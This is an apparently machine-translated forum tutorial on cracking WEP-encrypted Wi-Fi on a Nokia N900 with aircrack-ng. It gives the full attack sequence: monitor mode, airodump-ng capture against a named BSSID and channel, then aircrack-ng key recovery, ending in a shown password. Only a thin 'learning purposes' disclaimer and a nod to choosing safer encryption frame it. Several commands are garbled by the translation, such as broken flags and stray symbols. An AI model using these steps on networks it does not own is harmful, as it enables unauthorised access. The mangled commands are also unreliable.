N900 wireless WEP cracking

Author: yangzegen @ maemoers

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Can N900 still crack the Wireless Router password? The following describes how to crack wep-encrypted Wi-Fi hotspots. So if you want to create a hotspot at home, remember to select a safer encryption method than wep.

1. debian first

After installation, find ''synaptic pkg mg ''In the n900 program bar and press" search "" aircrack-ng "" mark "" apply "to download and install the package.

2. Find debian lxde in the n900 program directory and open the command window, which is similar to the small TV icon. Input:

Su // press ENTER

XXXX // (your own password) Press ENTER

Ifconfig wlan0 down // enter

Iwconfig wlan0 mode monitor // press ENTER

Ifconfig wlan0 up // enter (attach Nic)

Airodump-ng wlan0 // enter (scan the surrounding wireless network, for example)

 

First look at the data, the upgrade is relatively fast (the data 0 does not mean that it cannot be cracked), and then look at the PWR signal, which is better, and the wep type password is required. Record the mac address (the mac address of the vro here is 00904C7E0010), and the ch value (this is Channel 11). Press ctrl + c to stop.

3. Enter airodump-ng-c 11 (this is the ch number) -- bssid XX: XX (this is the router mac address) -w 123 (this 123 is random) wlan0 // press ENTER

Overall: airodump-ng-c 11 -- bssid 00904C7E0010-w 123 wlan0 // press ENTER or

Airodump-ng #-c #11 # -- bssid #00904C7E0010 #-w #123 # wlan0 // press enter (for easy viewing, # indicates the Space key)

For example:

The above is called packet capture, capturing valid client and vro exchange data (here there are two valid clients, that is, two computers are using vrouters to access the Internet, namely 001F3C0A2369 and 0016CE246A91 ), to crack. that is to say, if we look at the number of data items, we suggest that we should succeed if we exceed 50000. However, today, we will not be able to eat it until we get 100000 for a success. Press ctrl + c when the data volume reaches 50000 or above.

 

4. Finally, the attack is cracked. If the attack fails, click "Stop" and enter aircrack-ng 123 (this is the name of the file package you just picked up). cap // press Enter.

Overall: aircrack-ng 123.cap // press ENTER

The above code is under attack. The following figure shows the password after a moment:

 

Password: A33F9CE714

Note: It is for communication and learning purposes only. Do not use it for illegal purposes!